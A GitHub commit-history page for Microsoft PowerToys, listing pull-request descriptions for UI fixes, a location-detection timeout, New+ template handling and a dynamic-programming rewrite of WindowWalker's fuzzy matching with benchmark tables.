Commit Graph

8903 Commits

Author SHA1 Message Date
Jiří Polášek
a6e49c941d CmdPal: Rename "Results" section on Home page to "Commands" (#45870)
## Summary of the Pull Request

This PR renames "Results" section to "Commands" on Home page in default
view, while keeping "Results" for the search results.

Default view (section title changed to "Commands"):

<img width="907" height="591" alt="image"
src="https://github.com/user-attachments/assets/2aa3810f-b1bc-45a1-97f7-e08e6e8b171a"
/>

Search ("Results" are still present):

<img width="906" height="581" alt="image"
src="https://github.com/user-attachments/assets/99620971-55b5-4f49-832e-3dc4eaadba57"
/>


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-02 18:29:16 -05:00
Jiří Polášek
734c738751 CmdPal: Move ListViewModel.TextToSuggest property update back to UI thread (#45878)
## Summary of the Pull Request

This PR marshals the setting of the property ListViewModel.TextToSuggest
in SetSelectedItem to the UI thread, so that the change notification is
raised on that thread as well.

Regressed in #45764 

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-02 17:47:02 -05:00
Jaylyn Barbee
22b4dda3aa [Light Switch] Add 10s timeout and pre-check for location detection (#45887)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
- Add 10-second timeout to GetGeopositionAsync to prevent infinite
spinner
- Pre-check location services availability when dialog opens; disable
Detect Location button with message if unavailable
- Show user-friendly error messages for timeout and unavailable
scenarios
- Add LocationErrorText UI element and localized string resources

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45860
- [x] Closes: #42852

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-03-02 15:26:31 -05:00
Dustin L. Howett
fd399045f7 loc: move build to windows-latest; 2019 is d e a d (#45889)
When Azure DevOps says "no image found," well... he's dead, Jim.
2026-03-02 11:09:14 -08:00
Christian Gaarden Gaardmark
7e3f9f0c3f New+: Fixed issue with files and folders containing only numbers (#45439)
## Summary of the Pull Request
Supersedes https://github.com/microsoft/PowerToys/pull/41465

1) Fix for where template file or folder only contained numbers
2) Fix for where hidden files are shown in the list of templates

## PR Checklist
- [x] Closes: #36216
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [n/a] **Tests:** Added/updated and all pass
- [n/a] **Localization:** All end-user-facing strings can be localized
- [n/a] **Dev docs:** Added/updated
- [n/a] **New binaries:** Added on the required places
- [n/a] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [n/a] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [n/a] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [n/a] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [n/a] **Documentation updated:** If checked, please file a pull
request on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

## Detailed Description of the Pull Request / Additional comments
1) Fix for where template file or folder only contained numbers
    // Filename cases to support
    // type      | filename                             | result
// [file] | 01. First entry.txt | First entry.txt
    // [folder]  | 02. Second entry                     | Second entry
    // [folder]  | 03 Third entry                       | Third entry
// [file] | 04 Fourth entry.txt | Fourth entry.txt
// [file] | 05.Fifth entry.txt | Fifth entry.txt
    // [folder]  | 001231                               | 001231
    // [file]    | 001231.txt                           | 001231.txt
// [file] | 13. 0123456789012345.txt | 0123456789012345.txt

2) Fix for where hidden files are shown in the list of templates
Instead of excluding based on filename (desktop.ini) exclude based on
hidden and system attribute being set

## Validation Steps Performed
### Before fix
Notice
	1) Folders with numbers only aren't displayed on the context menu
2) Files with extension with numbers only show extension on the context
menu
	3) Some hidden files are shown
<img width="1893" height="786" alt="image"
src="https://github.com/user-attachments/assets/3845a541-499f-47a7-ae99-a92886f74214"
/>



### After fixes
#### Scenario 1
New+ Setting: Hide leading digits…: Yes
New+ Setting: Hide file extension: Yes
New+ Setting: Replace variables: No
<img width="1816" height="1185" alt="image"
src="https://github.com/user-attachments/assets/5ed2c205-d5ce-4366-90d9-c08ef4d2881f"
/>


#### Scenario 2
New+ Setting: Hide leading digits…: No
New+ Setting: Hide file extension: No
New+ Setting: Replace variables: No
<img width="1819" height="1197" alt="image"
src="https://github.com/user-attachments/assets/710265d5-94e9-4fee-9a47-a7bbb78b45bd"
/>


#### Scenario 3
New+ Setting: Hide leading digits…: Yes
New+ Setting: Hide file extension: Yes
New+ Setting: Replace variables: Yes


<img width="1816" height="1197" alt="image"
src="https://github.com/user-attachments/assets/45a90cdd-ec21-4425-9de0-c323ec90f149"
/>
2026-03-02 22:16:01 +08:00
Dave Rayment
9e4bf1e3e0 [Run] Replace WindowWalker's brute-force fuzzy matching algorithm with optimal DP solution (#44551)
## Summary of the Pull Request
Window Walker's fuzzy string matching algorithm exhibits exponential
memory usage and execution time when given inputs containing repeated
characters or phrases. When a user has several windows open with long
titles (such as browser windows), it is straightforward to trigger a
pathological case which uses up gigabytes of memory and freezes the UI.
This is exacerbated by Run's lack of thread pruning, meaning work
triggered by older keystrokes consumes CPU and memory until completion.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #44546
- [x] Closes: #44184
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

## Detailed Description of the Pull Request / Additional comments
The existing algorithm in `FuzzyMatching.cs` is greedy, creating all
possible matching combinations of the search string within the candidate
via its `GetAllMatchIndexes()` method. After this, it selects the best
match and discards the others. This may be considered reasonable for
small search strings, but it causes a combinatorial explosion when there
are multiple possible matches where characters or substrings repeat,
even when the search string is small.

The current brute-force algorithm has time complexity of **O(n * m *
C(n,m))** where **C(n,m)** = **n!/(m!(n-m)!)** and space complexity of
**O(C(n,m) * m)** because it stores all possible match combinations
before choosing the best.

For example, matching `"eeee"` in `"eeeeeeee"` creates **C(8,4)** =
**70** match combinations, which stores 70 lists with 4 integers each,
plus overhead from the LINQ-based list copying and appending:

```csharp
var tempList = results
    .Where(x => x.Count == secondIndex && x[x.Count - 1] < firstIndex)
    .Select(x => x.ToList())   // Creates a full copy of each matching path
    .ToList();                 // Materializes all copies

results.AddRange(tempList);    // Adds lists to results
```

Each potential sub-match may be recalculated many times.

Window Walker queries across all window titles, so this problem will be
magnified if the search text happens to match multiple titles and/or if
a search string containing a single repeated character is used. For
browser windows, where titles may be long, this is especially
problematic, and similarly for Explorer windows with longer paths.

## Proposed solution
The solution presented here is to use a dynamic programming algorithm
which finds the optimal match directly without generating all
possibilities.

In terms of complexity, the new algorithm benefits from a single pass
through its DP table and only has to store two integer arrays which are
sized proportionally to the search and candidate text string lengths; so
**O(n * m)** for both time and space, i.e. polynomial instead of
exponential.

Scoring is equivalent between the old and new algorithms, based strictly
on the minimum match span within the candidate string.

## Implementation notes
The new algorithm tracks the best start index for matches ending at each
position, eliminating the need to store all possible paths. By storing
the "latest best match so far" as you scan through the search text, you
are guaranteed to minimise the span length. To recreate the best match,
a separate table of parent indexes is kept and iterated backwards once
the DP step is complete. Reversing this provides you with the same
result (or equivalent if there are multiple best matches) as the
original algorithm.

For this "minimum-span" fuzzy matching method, this should be optimal as
it only scans once and storage is proportional to the search and
candidate strings only.

## Benchmarks
A verification and benchmarking suite is here:
https://github.com/daverayment/WindowWalkerBench

Results from comparing the old and new algorithms are here:
https://docs.google.com/spreadsheets/d/1eXmmnN2eI3774QxXXyx1Dv4SKu78U96q28GYnpHT0_8/edit?usp=sharing

| Method | Mean | Error | StdDev | Ratio | RatioSD | Gen0 | Gen1 | Gen2
| Allocated | Alloc Ratio |
|----------------
|-----------------:|-----------------:|-----------------:|-----------:|----------:|-----------:|-----------:|----------:|-------------:|------------:|
| Old_Normal | 4,034.4 ns | 220.94 ns | 647.98 ns | 1.02 | 0.23 | 1.9760
| - | - | 8.09 KB | 1.00 |
| New_Normal | 804.5 ns | 24.29 ns | 70.47 ns | 0.20 | 0.04 | 0.4339 | -
| - | 1.77 KB | 0.22 |
| Old_Repetitive | 7,624.7 ns | 318.06 ns | 912.57 ns | 1.94 | 0.38 |
3.7079 | - | - | 15.16 KB | 1.87 |
| New_Repetitive | 2,714.6 ns | 109.03 ns | 318.03 ns | 0.69 | 0.13 |
1.6403 | - | - | 6.72 KB | 0.83 |
| Old_Explosion | 881,443,209.3 ns | 26,273,980.96 ns | 76,225,588.43 ns
| 223,872.87 | 39,357.31 | 50000.0000 | 27000.0000 | 5000.0000 |
351885.11 KB | 43,518.16 |
| New_Explosion | 3,225.4 ns | 111.98 ns | 315.84 ns | 0.82 | 0.15 |
1.7738 | - | - | 7.26 KB | 0.90 |
| Old_Explosion_8 | 460,153,862.6 ns | 18,744,417.95 ns | 54,974,137.06
ns | 116,871.93 | 22,719.87 | 25000.0000 | 14000.0000 | 3000.0000 |
173117.13 KB | 21,409.65 |
| New_Explosion_8 | 2,958.3 ns | 78.16 ns | 230.45 ns | 0.75 | 0.13 |
1.5793 | - | - | 6.46 KB | 0.80 |
| Old_Explosion_7 | 189,069,384.8 ns | 3,774,916.46 ns | 6,202,296.49 ns
| 48,020.68 | 7,501.98 | 11000.0000 | 6333.3333 | 2000.0000 | 71603.96
KB | 8,855.37 |
| New_Explosion_7 | 2,667.5 ns | 117.69 ns | 337.68 ns | 0.68 | 0.13 |
1.3924 | - | - | 5.7 KB | 0.70 |
| Old_Explosion_6 | 71,960,114.8 ns | 1,757,017.15 ns | 5,125,301.87 ns
| 18,276.75 | 3,083.86 | 4500.0000 | 2666.6667 | 1333.3333 | 25515.96 KB
| 3,155.60 |
| New_Explosion_6 | 2,232.5 ns | 72.65 ns | 202.52 ns | 0.57 | 0.10 |
1.1978 | - | - | 4.91 KB | 0.61 |
| Old_Explosion_5 | 9,121,126.4 ns | 180,744.42 ns | 228,583.84 ns |
2,316.62 | 358.55 | 1000.0000 | 968.7500 | 484.3750 | 7630.49 KB |
943.67 |
| New_Explosion_5 | 1,917.3 ns | 48.63 ns | 133.95 ns | 0.49 | 0.08 |
1.0109 | - | - | 4.13 KB | 0.51 |
| Old_Explosion_4 | 2,489,593.2 ns | 82,937.33 ns | 236,624.90 ns |
632.32 | 113.96 | 281.2500 | 148.4375 | 74.2188 | 1729.71 KB | 213.92 |
| New_Explosion_4 | 1,598.3 ns | 51.92 ns | 152.28 ns | 0.41 | 0.07 |
0.8163 | - | - | 3.34 KB | 0.41 |
| Old_Explosion_3 | 202,814.0 ns | 7,684.44 ns | 22,293.96 ns | 51.51 |
9.72 | 72.7539 | 0.2441 | - | 298.13 KB | 36.87 |
| New_Explosion_3 | 1,222.5 ns | 26.07 ns | 76.45 ns | 0.31 | 0.05 |
0.6275 | - | - | 2.57 KB | 0.32 |
| Old_Subsequence | 419,417.7 ns | 8,308.97 ns | 22,178.33 ns | 106.53 |
17.23 | 266.6016 | 0.9766 | - | 1090.05 KB | 134.81 |
| New_Subsequence | 2,501.9 ns | 80.91 ns | 233.43 ns | 0.64 | 0.11 |
1.3542 | - | - | 5.55 KB | 0.69 |

(Where "Old_Explosion" is "e" repeated 9 times. Times in nanoseconds or
one millionth of a millisecond.)

It is worth noting that the results show a **single string match**. So
matching "eeeeee" against a 99-character string took 25 MB of memory and
71 milliseconds to compute. For the new algorithm, this is reduced down
to <5KB and 0.002 milliseconds. Even for a three-character repetition,
the new algorithm is >150x faster with <1% of the allocations.

## Real world example
**Before (results still pending after more than a minute):**
<img width="837" height="336" alt="Image"
src="https://github.com/user-attachments/assets/c4c3ae04-6a47-40b9-a2a4-7a4da169f7d5"
/>

**After (instantaneous results):**
<img width="829" height="444" alt="image"
src="https://github.com/user-attachments/assets/055fc4a6-f34f-4bed-a12c-408b52274de2"
/>

## Validation Steps Performed
The verification tests in the benchmark project pass, with results
identical to the original across a number of test cases, including the
pathological cases identified earlier and edge cases such as
single-character searches.

All unit tests under `Wox.Test`, including all 38 `FuzzyMatcherTest`
entries still pass.
2026-03-02 13:45:14 +01:00
Jiří Polášek
cc3c3c0367 Dock: dock visual nits and bits (#45873)
## Summary of the Pull Request

- Improves vertical (left/right) dock layout:
  - Dock items are not clipped;
  - Items with label(s) are stretched to full width;
  - Items without label(s) are centered.
- Top button is in the absolute corner to make clicking to it easier.
- Dock items now have a min width and height 32px.
- Removes a duplicate "No background" label in the expander body on the
Dock settings page.

## Pictures? Pictures!
Vertical layout:
<img width="175" height="1439" alt="image"
src="https://github.com/user-attachments/assets/4f11d9e9-405f-4d9a-8dee-4c8912b88c7c"
/>

Horizontal layout:
<img width="5119" height="49" alt="image"
src="https://github.com/user-attachments/assets/8420ef26-575e-4427-8db8-f9793e3b3572"
/>



<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-01 20:06:42 +01:00
Sean Killeen
637b58b136 Setup-dev-envronment.ps1: Capture prereleases from vswhere (#45813)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

Takes one possible approach to allowing for preview installs to be
detected.

⚠️ This has a possible side effect, in that if folks have installations
side-by-side, this would seem to update the Preview version over the
non-Preview version. That may not be preferable behavior, in which case
we could instead update `$commonPaths` to include it, which would allow
it to be found in the absence of a non-preview release.

If others have a preference I'm happy to adapt, as long as it doesn't
leave Preview users with an error.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45811
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] ~~**Tests:** Added/updated and all pass~~ N/A in this case
- [x] ~~**Localization:** All end-user-facing strings can be localized~~
N/A
- [x] ~~**Dev docs:** Added/updated~~ N/A in this case I believe
- [x] ~~**New binaries:** Added on the required places~~ N/A
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

The execution of vsWhere was not returning any items in cases where
prereleases were installed.

This change includes prereleases in the consideration of `-latest`

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

 Tested vswhere output directly. Before: no installations. After: 2026
Preview was found

 Tested setup-dev-environment.ps1. Before: warning about missing VS
install. After: operates as expected.
2026-03-01 17:44:16 +00:00
PesBandi
6c691f59e8 [OOBE] Properly localize View on GitHub and release date in What's new (#45847)
## Summary of the Pull Request
* Move hardcoded string *View on GitHub* to `Resources.resw`
* Respect `DateTimeFormat.MonthDayPattern` in release date
* Dots in the date are escaped so that they don't accidentally trigger a
markdown list
## PR Checklist

- [ ] Closes: #xxx
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [x] **Dev docs:** No need
- [x] **New binaries:** None
- [x] **Documentation updated:** No need

## Detailed Description of the Pull Request / Additional comments
Nothing changes in the English version, only difference is in languages
that don't use `MMMM d`.
## Validation Steps Performed
Manually tested with Slovak, Czech, German, English.
2026-03-01 12:45:51 +00:00
Mike Griese
7dfe6c0159 Dock: Fix tab focus order for items (#45837)
Now, once the dock has focus, tab will work the way you'd expect.

* re #45584
* re #45595 - if we do add that KB shortcut, well, reasonable tab focus
would be expected.
2026-03-01 13:15:41 +01:00
Mike Griese
543399b62b dock: shift around the padding for fitts law (#45834)
This makes the buttons hitbox extend all the way to the edges of the
dock, but the visual presentation of these buttons is unchanged.

This lets us adhere to fitts law appropriately.

Closes #45596
Closes #45590
2026-03-01 13:03:40 +01:00
Christian Gaarden Gaardmark
90e81cbfd5 [New+] Hide existing new - remake (#44979)
## Summary of the Pull Request
- Add the ability for users and admins (GPO) to control whether to
display built in New on the context menu.
 - Changes to the setting are immediately reflected in the experience.
 - Built-in New is restored on uninstall.

## PR Checklist
Note: Supersedes https://github.com/microsoft/PowerToys/pull/39843 

- [x] **Closes**: [New+] Replace default New entry #37545 and Replace
"New" with New+ option #37946
- [x] **Communication:** Discussed with @niels9001 - 1/22/2025
- [x] **Tests:** Completed manual test pass see highlight below
- [x] **Localization:** All end-user-facing strings can be localized
- [x] **Dev docs:** Updated "doc\devdocs\modules\newplus.md"
- [n/a] **New binaries:** Added on the required places
- [n/a] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
   - [x] [WXS for installer] Updated installer (uninstall custom action)
- [n/a] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [n/a] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [No] **Documentation updated:** Pending, coming soon. (original PR 
https://github.com/MicrosoftDocs/windows-dev-docs/pull/5473)

## Detailed Description of the Pull Request / Additional comments
Added the ability for users' admins' to display Windows built-in New or
not
	
I'm NOT aware of an official supported way to do this, so I'm achieving
this by adding an invalid context menu handler in place of New in the
Computer\HKEY_CURRENT_USER\Software\Classes\Directory\background\ShellEx\ContextMenuHandlers\New
	
Changes are immediate, after applying the change, built-in New is
shown/hidden accordingly
	
	Updates to New+ Settings UI
New setting introduced to track user' preference (saved to
newplus/settings.json)
GPO setting introduced for control New visibility via GPO (GPO wins over
user preference)
	
	Updates to New+ power_module.cpp
When runner is running new plus will also apply built-in New admin GPO
and user preference (GPO wins over user preference) to ensure correct
behavior on setting restore and GPO application.
		
	Updates to installer 
		Uninstall always reenable built-in "New" context menu 
	
	Updated DevDoc
		Added a note on how to manually restore built-in New

## Validation Steps Performed
Windows 11 x64
	Settings UI
	New+ enabled
	New+ disabled
	GPO setting enabled
	GPO settings disabled
	Manually updating newplus/settings.json

Windows 11 ARM64
	I tested the reg hack manually, but didn't go through a full pass. 

Windows 10 x64
	NOT tested. 

Windows 11, Settings, New+ Disabled and no GPO
<img width="1040" height="1002" alt="image"
src="https://github.com/user-attachments/assets/1b827b10-f009-4b0b-954f-d9311d40d201"
/>

Windows 11, Settings, New+ Enabled and no GPO
<img width="1015" height="781" alt="image"
src="https://github.com/user-attachments/assets/a5fa09d3-7fd3-4830-99a4-5f2ac9ce1a38"
/>

Hide built-in New: Off (the default)
<img width="321" height="417" alt="image"
src="https://github.com/user-attachments/assets/355fea60-bbb8-4f11-b648-291aaf0c4a6d"
/>

Hide built-in New: On
<img width="1015" height="87" alt="image"
src="https://github.com/user-attachments/assets/e83e45c4-6b67-443b-b045-26e7dda2cf46"
/>

Modern
<img width="308" height="360" alt="image"
src="https://github.com/user-attachments/assets/b164b240-6e67-410c-8481-7db3ee3225b7"
/>

Classic
<img width="308" height="289" alt="image"
src="https://github.com/user-attachments/assets/e2b6c262-a311-454c-9c76-40cb11ff2970"
/>

Disabling New+ also unhide New
<img width="1031" height="569" alt="image"
src="https://github.com/user-attachments/assets/29b8dae7-8190-4e64-b106-c6861e472a3d"
/>

<img width="308" height="353" alt="image"
src="https://github.com/user-attachments/assets/e1977d6b-dc85-4db4-b9ab-c7bb2b27dde2"
/>



Windows 11, Settings, New+ Enabled and with GPO

Hide built-in New: GPO enabled
<img width="1020" height="691" alt="image"
src="https://github.com/user-attachments/assets/75053ab8-92c6-4d38-b1b8-9b0d8293c207"
/>

Hide built-in New: GPO disabled
<img width="1050" height="161" alt="image"
src="https://github.com/user-attachments/assets/1a50b841-ff01-4662-a923-aee63717c834"
/>
2026-03-01 12:32:38 +01:00
Ruthie Sun
3e1b07f52c Color picker - Lab format: use roundoff optional #13603 (#42986)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
The default CIELab format rounds the values to two decimal places, which
is a degree of precision that isn't always needed. This PR adds an
optional formatting character (i) to the three CIELab format parameters,
which rounds the value to the nearest integer.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #13603/#14863. Note that in the discussion for #13603,
there are some additional suggestions that this PR doesn't address.
- [ ] **Communication:** Haven't gotten the green light for this
approach with the core contributors yet. Happy to pivot to a different
approach if needed.
- [ ] **Tests:** Added/updated and all pass
- [x] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

In the case where a or b get rounded to -0 (e.g. -0.0001 rounds to -0),
the negative sign gets removed. However, I noticed during testing that
the default format (rounding to two decimal places) retains the negative
sign in these situations (see third screenshot). I can a) revert to
keeping the -0 for the new rounding behavior, b) change -0 to 0 for
other rounded values, or c) leave it as-is. Also open to suggestions.

I can update the docs as well, if we're happy with the approach.

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
- Settings: Can change the default CIELab format to display rounded
values
- Settings: Can create a custom format with rounded CIELab values
- Color Picker: Rounded values are displayed when hovering and as a
saved color
<img width="1076" height="1520" alt="powertoys-cielab"
src="https://github.com/user-attachments/assets/8a67142d-d7f4-49bc-b1ba-ad9304235218"
/>
<img width="447" height="390" alt="powertoys-cielab-selected"
src="https://github.com/user-attachments/assets/c96d3bc9-cac7-4470-af3f-b2bce78d0915"
/>
<img width="445" height="389" alt="powertoys-cielab-selected-0"
src="https://github.com/user-attachments/assets/c329bc5b-c18a-4f61-a808-0fa5050e09ed"
/>

---------

Co-authored-by: vanzue <vanzue@outlook.com>
2026-02-27 23:12:58 +01:00
Jiří Polášek
96e6542cf1 Dock: Replace IsShownInSwitchers with HiddenOwnerWindowBehavior in DockWindow (#45839)
## Summary of the Pull Request

This PR replaces the use of the property AppWindow.IsShownInSwitchers,
which requires a running explorer.exe instance, with
HiddenOwnerWindowBehavior. This behavior is used by MainWindow and
ToastWindow to hide the window by utilizing both the Tool Window style
and a safely invoked IsShownInSwitchers.
2026-02-27 21:11:27 +00:00
Jiří Polášek
12fac01ee1 CmdPal: Add settings to hide non-apps from results (#45741)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

This PR adds new options to the All Apps built-in extension:

- Also include non-app shortcuts from the Start menu
  - Enabled by default
- Also include non-app shortcuts from the desktop
  - Disabled by default

The default states reflect that Start menu shortcuts are largely curated
by installers, and the Start menu itself typically does not surface
non-app items. Desktop shortcuts, on the other hand, are more likely to
be created by the user.

<img width="812" height="499" alt="image"
src="https://github.com/user-attachments/assets/de6c4723-0b52-4606-98fa-469364f5648e"
/>
2026-02-27 14:35:49 -06:00
Jiří Polášek
f2788f2e09 CmdPal: Supress CsWinRT1028 on source generated interop types (#45827)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

This PR add local suppression of CsWinRT1028 (not marked partial) for
`Windows.Win32.UnhookWinEventSafeHandle` and
`Windows.Win32.DeleteObjectSafeHandle`

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Related to: #42574
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-27 12:58:54 -06:00
